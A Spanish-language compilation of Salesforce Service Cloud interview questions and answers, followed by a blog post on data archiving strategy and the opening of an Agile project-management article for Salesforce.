
  • tiempo promedio de resolución de casos
  • puntuaciones de satisfacción del cliente
  • tasas de resolución del primer contacto
  • volúmenes de casos por tipo o fuente

Integración de CTI y telefonía

1. ¿Qué es la Integración Telefónica Computadora (CTI)?

Representante De Servicio Al Cliente De Dibujos Animados De Forma Tridimensional De Persona De Negocios - Banco de fotos e imágenes de stock - iStock

Es un término para un sistema que permite que las computadoras interactúen con los teléfonos. Significa que cuando alguien llama, el sistema de atención al cliente sabe inmediatamente quién es y cuál es su historial con la empresa.

2.¿Cómo mejora CTI el servicio al cliente?

En el restaurante sin CTI, cada llamada de un cliente sería como una reunión de camareros durante la cena por primera vez. Tendrían que volver a hacer todas las preguntas básicas: "¿Tiene alguna alergia?" “¿Prefieres asiento junto a la ventana o en el pasillo?” etcétera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres alérgico al maní, saben que te gusta el queso extra y tienen lista tu mesa favorita. En términos de atención al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.

3. ¿Puede darnos un ejemplo de cómo se utiliza CTI en un escenario de call center?

Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra información relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qué llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.

Servicio al cliente en redes sociales

1. ¿Qué es el servicio al cliente social en Salesforce?

¿Sabes cómo puedes chatear con amigos y ver qué están haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.

2. ¿Cómo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?

Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegurándose de que nadie se sienta ignorado y que cada problema se resuelva rápidamente.

3. ¿Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?

¡Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda quién dijo qué, almacena información sobre los problemas del cliente e incluso cómo se resolvió. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que continúa la conversación justo donde la dejó, como si retrocediera en el historial de chat con un amigo.

Chat y mensajería

1. ¿Cómo funciona Live Agent en Service Cloud?

Imagínese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parecía confundido. Así es Live Agent en el mundo online. Es una característica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras están en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.

2. ¿Cuáles son los beneficios de utilizar el chat para atención al cliente?

Los clientes obtienen atención instantánea y sus preguntas pueden responderse de inmediato. Además, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes líneas de pago.

3. ¿Se pueden automatizar las respuestas en Live Agent?

Sí, si alguien dice "hola", el sistema puede decir automáticamente "¡Hola!". ¿Cómo puedo ayudarte hoy?" Está programado para reconocer palabras o preguntas específicas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarrápidas a preguntas comunes.

4. ¿Cómo maneja Salesforce los mensajes SMS para el servicio de atención al cliente?

Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajería SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones rápidas o incluso responder preguntas, todo a través de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversación.

Integración de correo electrónico

1. ¿Cómo se utiliza el correo electrónico en Service Cloud?

No se trata sólo de enviar y recibir correos electrónicos; es un sistema completo que gestiona las comunicaciones por correo electrónico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qué se dijo y cuándo.

2. ¿Puedes automatizar las respuestas por correo electrónico?

– ¡Absolutamente! Según ciertas palabras clave en el correo electrónico del cliente o criterios específicos, el sistema puede enviar una respuesta escrita previamente. Es instantáneo, por lo que los clientes no tienen que esperar y les da a los agentes reales más tiempo para manejar los problemas complejos que necesitan un toque humano.

3. ¿Cómo se asegura de que los correos electrónicos de los clientes se envíen a los agentes adecuados?

Utilice el enrutamiento de correo electrónico en Service Cloud. Usando las reglas que usted configura, los correos electrónicos se pueden dirigir a ciertos agentes según el contenido del correo electrónico, la información del cliente o incluso la carga de trabajo de cada agente.

Soporte Móvil

1. ¿Cómo respalda Salesforce el servicio al cliente móvil?

Con la aplicación móvil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su teléfono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.

2. ¿Cuáles son las limitaciones del servicio al cliente móvil en Salesforce?

Dibujos animados y cómics de Parking Boot - imágenes divertidas de CartoonStock

Si bien la aplicación móvil Salesforce es súper poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar difíciles de navegar en una pantalla más pequeña y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.

Métricas y análisis de rendimiento

1. ¿Cómo se mide la satisfacción del cliente en Service Cloud?

En Service Cloud, no solo responde las consultas de los clientes y espera que estén satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos automáticamente después de que se resuelva un caso. Es como preguntar: "¿Qué le pareció nuestro servicio?" ¡para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!

2. ¿Qué es una puntuación de satisfacción del cliente (CSAT)?

CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuación que los clientes otorgan en función de su satisfacción con una interacción específica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuación, mejor trabajo hizo para cumplir (¡o superar!) sus expectativas.

3. ¿Qué es Net Promoter Score (NPS) y cómo se utiliza en Salesforce?

NPS es como preguntar a sus comensales: "¿Recomendaría nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata sólo de un plato de sopa; ¡Lo importante es si toda la experiencia gastronómica les hace querer contárselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuación a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.

4. ¿Se pueden integrar herramientas de encuestas externas con Salesforce?

Puede integrarlo con herramientas de encuestas externas que quizás ya esté utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, reúne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.

Inteligencia artificial (IA)

1. ¿Qué es Salesforce Einstein y cómo se aplica a Service Cloud?

Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.

2. ¿Cómo funcionan los Bots de Einstein?

Se encargan de las tareas sencillas y rutinarias del servicio de atención al cliente, como responder preguntas comunes o guiar a un usuario a través de un proceso establecido.

3. ¿Puede Einstein sugerir respuestas a los agentes?

Es como un manual dinámico e inteligente que no sólo tiene todas las respuestas sino que también sabe exactamente cuándo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o solución, acelerando el servicio y asegurándose de que las "comidas" de su servicio al cliente sean siempre deliciosas.

Servicio de campo

1. ¿Qué es Field Service Lightning?

Vector libre | Banner de camión de comida de estilo de dibujos animados

Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos súper organizado que sabe qué camión de comida está dónde, qué sirven, quién está disponible para servir delicias y quién se toma un descanso. ¡Se trata de administrar su equipo sobre la marcha, asegurándose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desafío "culinario" (problema del cliente) que encuentren en el campo!

2.¿Cómo se integra Field Service Lightning con Service Cloud?

Field Service Lightning, cuando se integra con Service Cloud, brinda información en tiempo real hacia y desde las unidades móviles (FSL), para que todos sepan lo que sucede a su alrededor.

3. ¿Puede programar y enviar agentes de servicio de campo utilizando Salesforce?

¡Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que estén listos para mejorar sus especialidades según sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.

Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional fácil de recordar. ¡Imagínate que estamos charlando en tu cafetería favorita!

macros

1.¿Qué es una macro en Salesforce Service Cloud?

Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "¡Oye, ya tengo esto!". ¡Y listo!

2. ¿Todos pueden usar mis Macros?

Si los mantiene públicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guardársela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.

3. ¿Pueden las macros interactuar con aplicaciones de terceros en Salesforce?

– Directamente, no. Las macros están diseñadas para automatizar las funcionalidades estándar de Salesforce.

4. ¿Es posible deshacer las acciones de una Macro una vez ejecutada?

No, no hay un botón "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.

5. ¿Se pueden programar las macros para que se ejecuten a una hora específica?

No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador automático.

6. ¿Qué tipo de acciones no puedes realizar con una Macro?

Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.

7. ¿Cómo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?

Utilice carpetas para organizar y compartir colecciones de macros.

8. ¿Se puede modificar una macro activa? ¿Hay que tomar alguna precaución?

Sí, puede editar una macro y probar las modificaciones antes de su uso generalizado.

9. ¿Es posible asignar Macros específicas a usuarios o perfiles específicos?

Si bien no puede asignar una macro directamente a usuarios específicos, puede controlar el acceso utilizando las carpetas de macros y la configuración de uso compartido de Salesforce.

10. ¿Cómo se relacionan las macros con la API de Salesforce?

Las macros no interactúan directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.

11. ¿Se pueden utilizar las macros junto con Salesforce Flows?

Las macros y los flujos tienen diferentes propósitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.

12. ¿Cómo funciona el manejo de errores con Macros?

Si una macro encuentra un problema durante la ejecución, se detiene y se muestra un mensaje de error.

13. ¿Pueden los usuarios sin privilegios de administrador crear o modificar macros?

Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.

14. ¿Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?

No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditoría estándar de Salesforce para ver los cambios en los registros.

15. ¿Cuál es el papel de las instrucciones macro en el proceso de creación?

Las instrucciones macro son el corazón de la macro y dictan qué acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.

29. ¿Puedes usar macros para enviar correos electrónicos con archivos adjuntos?

No, las macros pueden automatizar el proceso de envío de un correo electrónico, pero no pueden agregar archivos adjuntos.

Omnicanal

1. ¿Puedes explicar qué es OmniCanal en Salesforce?

Conozca todo sobre: OmniCanal en Salesforce

OmniCanal es una característica de Salesforce que permite la gestión de elementos de trabajo entrantes desde diferentes canales de comunicación. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en función de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.

2: ¿Cómo beneficia OmniCanal a un equipo de servicio al cliente?

OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.

3. ¿Cuál es la diferencia entre OmniCanal y distribución del trabajo tradicional?

La distribución tradicional del trabajo a menudo implica una asignación manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige automáticamente el trabajo a los agentes más adecuados según criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea más rápido y eficiente.

4. ¿Puede explicar el “Estado de presencia” en OmniCanal?

“Estado de presencia” se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si están disponibles, ocupados o ausentes, y OmniCanal utiliza esta información para enrutarles el trabajo en consecuencia.

5. ¿Cómo garantiza OmniCanal que los casos de alta prioridad se manejen rápidamente?

OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan automáticamente según estos niveles de prioridad. Los elementos de alta prioridad se envían al principio de la cola para que se atiendan más rápido.

6. ¿Se puede integrar OmniCanal con otras funciones de Salesforce?

Sí, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atención al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.

7. ¿Cómo admite OmniCanal los diferentes canales de comunicación?

OmniCanal es versátil al admitir varios canales de comunicación como correo electrónico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a través de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.

8. ¿Puede describir un escenario en el que el enrutamiento omnicanal podría resultar beneficioso?

Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles según sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.

9. ¿Cuáles son los tipos de Omni Channel?

Basado en cola → Asignar agentes a la cola

Basado en habilidades → Asignar habilidades a los agentes

Enrutamiento externo → Configuración de enrutamiento de terceros

10. ¿Cómo configurar Omni Channel?

  1. Habilite OmniCanal.
  2. Crear canales de atención.
  3. Cree configuraciones de enrutamiento.
  4. Asociar configuraciones de enrutamiento y agentes con colas.
  5. Crear configuraciones de presencia.
  6. Crear estados de presencia.
  7. Agregue el widget omnicanal.

11. ¿Cómo crear un Canal de Atención?

Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesión SOS o objeto personalizado.

12. ¿Cómo crear una configuración de enrutamiento?

Las configuraciones de enrutamiento determinan cómo se enrutan los elementos de trabajo a los agentes.

Utilícelos para priorizar la importancia relativa y el tamaño de los elementos de trabajo de sus colas.

13. ¿Explicar los ajustes de configuración de enrutamiento?

Prioridad de ruta:

El orden en el que los elementos de trabajo de la cola asociados con esta configuración de enrutamiento se enrutan a los agentes. Los objetos en colas con un número menor se enrutan primero a los agentes.

Modelo de enrutamiento:

Determina cómo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuración.

Tiempo de espera de empuje (segundos):

Establece un límite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.

Unidades de Capacidad:

Cantidad de capacidad total del agente.

Preguntas basadas en escenarios

1. ¿Cómo diseñaría una solución para respaldar a un equipo de soporte multilingüe que utiliza Service Cloud?

Service Cloud de Salesforce admite equipos multilingües mediante el uso de funciones como Translation Workbench, que le permite traducir objetos estándar y personalizados, reglas de validación, etiquetas de campo y más, a cualquiera de los idiomas admitidos.

Además, los artículos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar información en varios idiomas.

También puede configurar OmniCanal para enrutar casos a los agentes adecuados según sus habilidades lingüísticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacción del cliente.

2. ¿Puede explicarme el proceso de diseño de una solución de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resolución oportuna del caso?

  1. Es necesario definir los SLA, es decir, el tiempo dentro del cual se deben resolver casos de ciertos tipos o prioridades.
  2. Una vez definidos, configurará los procesos de derechos para especificar el cronograma para cada etapa de resolución del caso.
  3. Luego, usaría Milestones dentro de estos procesos para rastrear si los casos se están resolviendo dentro de los SLA definidos.
  4. Las reglas de escalamiento de casos se usarían para escalar casos que estén en peligro de violar sus SLA. Estos se pueden configurar para escalar según la antigüedad del caso, la prioridad o incluso si el caso ha estado inactivo. Los casos escalados pueden luego remitirse automáticamente a agentes o supervisores con más experiencia para recibir atención urgente.

3. ¿Cómo abordaría el diseño de una solución para un centro de llamadas a gran escala que necesita gestionar grandes volúmenes de casos y llamadas?

– Para los centros de llamadas de gran volumen, le conviene aprovechar la función OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados según su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integración de la telefonía mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la información relevante del cliente al alcance de su mano.

4. ¿Cuál es su experiencia con la integración de aplicaciones de terceros en Service Cloud y cómo ha abordado la solución de problemas de integración en el pasado?

Mi enfoque implica primero garantizar que la aplicación de terceros tenga una documentación API sólida y cumpla con las mejores prácticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integración, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si están disponibles.

5. ¿Cómo diseñaría una solución que utilice Service Cloud para rastrear la opinión del cliente e incorporar esa información en los flujos de trabajo de gestión de casos?

Service Cloud puede integrarse con herramientas que ofrecen análisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electrónicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opinión se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.

6. ¿Puede dar un ejemplo de cómo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?

Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aquí se puede acceder a los artículos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. También se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementación de un chatbot a través de Einstein Bots también puede desviar consultas rutinarias al proporcionar respuestas automáticas a preguntas comunes.

7. ¿Has trabajado con Service Cloud Voice? ¿Cómo ha utilizado esta tecnología para mejorar el rendimiento del call center y la satisfacción del cliente?

Service Cloud Voice integra la telefonía en Salesforce, brindando una vista unificada del cliente y transcripción de llamadas en tiempo real. Esto permite a los agentes centrarse más en el cliente que en tomar notas. La transcripción en tiempo real, impulsada por Einstein, también puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes más nuevos. La conclusión posterior a la llamada se acelera porque los datos de la llamada ya están en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos históricos de llamadas brindan información valiosa para el análisis de la opinión del cliente y el desempeño de los agentes, lo que impacta positivamente la capacitación y la satisfacción del cliente.

8. ¿Cómo abordaría el diseño de una solución para una empresa que opera en varios países con diferentes regulaciones de privacidad de datos?

– El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones específicas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar quién puede acceder a qué datos.

9. ¿Cómo ha abordado los problemas de escalabilidad y rendimiento al diseñar soluciones de Service Cloud para grandes empresas?

  • Para las grandes empresas, las consideraciones incluyen la gestión del volumen de datos, el uso de las herramientas de optimización del rendimiento integradas de Salesforce y la revisión periódica de la organización para eliminar configuraciones y personalizaciones obsoletas.
  • También es importante diseñar con una mentalidad de “clics, no código” para minimizar el código personalizado, que puede introducir complejidad y sobrecarga de rendimiento.
  • Cuando es necesario un código personalizado, es vital seguir las mejores prácticas para la masificación y las consultas SOQL eficientes. Finalmente, el monitoreo a través del Optimizador, Health Check y otras herramientas de Salesforce puede ayudar a identificar y mitigar problemas de rendimiento de manera proactiva.

10. ¿Cómo ha utilizado Service Cloud para mejorar la retención de clientes y reducir las tasas de abandono?

En Service Cloud, la retención de clientes se puede mejorar significativamente utilizando las sólidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de análisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacción del cliente e identificar problemas comunes que provocan la insatisfacción del cliente. Al integrar los comentarios directamente en el sistema de gestión de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacción y retención del cliente. Además, características como la comunicación personalizada con el cliente, artículos de conocimiento para el autoservicio y la resolución eficiente de casos a través del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo así la deserción.

11. ¿Ha trabajado con la funcionalidad Live Agent de Service Cloud? ¿Cómo ha utilizado esta tecnología para mejorar las experiencias de atención al cliente?

Sí, utilicé Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instantáneamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacción general. Descubrí que incorporar el chat de Live Agent en sitios web y aplicaciones móviles donde los clientes son más activos reduce significativamente la barrera para acceder al soporte.

12. ¿Puede describir cómo diseñaría una solución de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado según el problema del cliente y el conjunto de habilidades del agente?

Para lograr esto, aprovecharíamos la función OmniCanal, que permite enrutar los casos según el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.

  1. Comenzaría por definir varios conjuntos de habilidades de agentes dentro del sistema y asociaría estas habilidades con los agentes correspondientes.
  2. Luego, establecía configuraciones de enrutamiento, donde los casos entrantes se evalúan según criterios predefinidos relacionados con el problema del cliente y luego se los relaciona con un agente que posee el conjunto de habilidades requerido.

13. ¿Cómo abordaría el diseño de una solución de Service Cloud que pueda manejar grandes volúmenes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacción del cliente?

  • Primero, implementaría reglas de asignación de casos para automatizar la distribución de casos a los agentes o colas correctos.
  • Luego, utilizaría la función de reglas de escalamiento de casos de Service Cloud para priorizar casos urgentes o de alto impacto.
  • Para mantener tiempos de respuesta constantes, se pueden utilizar funciones como reglas de respuesta automática para reconocer inmediatamente los envíos de casos.
  • Además, integraría una base de conocimientos integral para facilitar las opciones de autoservicio, reduciendo así la carga de casos para los agentes.

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Archivando datos, ¡no tan rápido!

Archivando datos, ¡no tan rápido!

En el mundo actual basado en datos, las empresas generan una gran cantidad de datos, incluidos registros de clientes, historial de transacciones y más. (No me hagas empezar con los LLM).

Gestionar estos datos de manera eficiente es clave para el buen funcionamiento de sus entornos de Salesforce, la capacidad de almacenamiento, el consumo de energía y también las regulaciones de retención de datos. Ahí es donde entra en juego el archivo de datos.

Como sabrás, paso un poco de tiempo todos los días en la 'comunidad de respuestas'. Así es como (hace muchos años) entré en la comunidad Salesforce Trailblazer. Así que trato de pasar un poco de tiempo allí todos los días. Y he visto algunas preguntas recientemente sobre este asunto. Así que pensé en ampliar el intercambio de conocimientos: escribamos este artículo, donde exploramos el archivo de datos y arrojamos luz sobre algunas consideraciones esenciales.

Antes de comenzar a archivar como si no hubiera un mañana, esto es lo que debe analizar:

Elegir los registros adecuados para archivarlos
El primer paso para crear una estrategia de archivo de datos es determinar qué registros deben archivarse. No es necesario archivar todos los datos; sólo se deben considerar aquellos que ya no se utilizan activamente pero que deben conservarse para fines históricos o de cumplimiento. Para los usuarios de Salesforce, esto podría incluir contactos antiguos de clientes, oportunidades cerradas o casos obsoletos.

En la mayoría de los casos, los datos pueden simplemente eliminarse. ¡No seas acaparador! Y eliminar conduce a un menor uso de almacenamiento, menos procesamiento, menos riesgos potenciales de seguridad y gobernanza, menos consumo de energía… ¡en definitiva, menos complicaciones!

¡Menos es más!

Acceder a datos archivados
Si bien los datos archivados generalmente se almacenan fuera del entorno principal de Salesforce, es crucial considerar cómo y si estos registros serán necesarios nuevamente .

  • Piense en la frecuencia con la que su equipo necesita acceder a datos archivados y
  • si debería estar disponible fácilmente o si
  • puede permitirse un proceso de recuperación más largo. También,
  • determinar si necesita ejecutar informes sobre datos archivados para análisis históricos o
  • fines de cumplimiento.

Matando el mito: ¡En este hilo reciente se propuso utilizar un objeto personalizado! ¡No hagas esto, no tiene sentido! El uso de almacenamiento será el mismo si se trata de un objeto estándar o personalizado (si no más).

Definición de períodos de retención
Los distintos tipos de datos pueden tener distintos requisitos de conservación. Por ejemplo, es posible que sea necesario conservar los registros financieros durante un período más prolongado que las consultas de los clientes.

Comprenda los períodos de retención específicos para su industria y ubicación, y asegúrese de que su estrategia de archivo se alinee con estas regulaciones.

Cumplimiento de las regulaciones de la industria
A riesgo de repetirme: el cumplimiento de la normativa de conservación de datos es primordial. Investigue si existen regulaciones específicas aplicables a su industria y ubicación .

Por ejemplo, el Reglamento General de Protección de Datos (GDPR) de la Unión Europea impone reglas estrictas sobre la retención y la privacidad de los datos.

Cumplir con estas normativas no es sólo un requisito legal sino también una forma de generar confianza con sus clientes. Y le ahorra molestias y estrés en el futuro.

Soluciones de archivo existentes
Considere qué soluciones de archivo ya existen en su organización. Algunas empresas pueden tener un sistema de archivo dedicado que puede o no integrarse perfectamente con Salesforce, mientras que otras pueden depender de procesos manuales.

Es muy fácil distraerse con la proliferación de aplicaciones, no te dejes cegar por las cosas brillantes. Comprender su configuración actual puede ayudarle a tomar decisiones informadas sobre cómo mejorar su estrategia de archivo.

No te olvides del escenario del “Regreso”
A veces, los datos archivados no desaparecen para siempre. Piense en escenarios en los que podría necesitar resucitar registros archivados, como un contacto de cliente previamente cerrado que regresa como un cliente potencial.

Asegúrese de que su sistema de archivo permita una fácil recuperación y reintegración cuando sea necesario. ¡Descubra qué situaciones podrían ocurrir, con qué frecuencia, cuánto volumen, etc., para que pueda diseñar el proceso basándose en decisiones informadas!

En conclusión, el archivo de datos eficaz es un aspecto crucial de la gestión de instancias de Salesforce. Al considerar cuidadosamente qué registros archivar, cómo acceder a ellos, períodos de retención, regulaciones de cumplimiento, soluciones existentes y la posibilidad de que los datos "regresen", su organización puede garantizar la integridad de los datos, el cumplimiento normativo y la capacidad de aprovechar los datos históricos. para necesidades futuras. ¡También aproveche el poder de ELIMINACIÓN!

¿Cuál es tu enfoque? ¿Qué más tiene en su lista al clasificar las solicitudes de archivo de datos?

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Uso de Agile en proyectos de Salesforce – Inspire Planner

Uso de Agile en proyectos de Salesforce - Inspire Planner

Los enfoques tradicionales de gestión de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicación, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Según diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinación interfuncional se citó a menudo como el factor de riesgo más importante para el fracaso del proyecto CRM. Imagine la frustración de invertir tiempo y recursos en un proyecto de Salesforce sólo para verlo descarrilado por estrategias de gestión inflexibles.

La metodología Agile ofrece una salida. En comparación, sólo el 9% de los proyectos ágiles terminan en fracaso. Diseñado para la adaptabilidad y la colaboración, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a través del enfoque iterativo.

En este artículo, descubrirá cómo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodología de gestión de proyectos en cascada versus ágil: descripción general rápida

Waterfall es una metodología tradicional de gestión de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodología Waterfall avanzan a través de fases predefinidas, desde la recopilación de requisitos hasta la implementación del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gestión de proyectos en cascada de Inspire Planner en SalesforceGestión de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodología Agile es un enfoque colaborativo para la gestión de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteración rápida. En lugar de una progresión lineal, los proyectos se dividen en tareas pequeñas y manejables llamadas "sprints" o "iteraciones", que son períodos cortos con un límite de tiempo.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Si diferentes equipos de su organización utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con éxito ambas metodologías, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener éxito. La metodología ágil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega más rápida que los métodos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y dinámicos, mientras que la mayoría de los equipos (59,1%) prefiere sprints de 2 semanas.
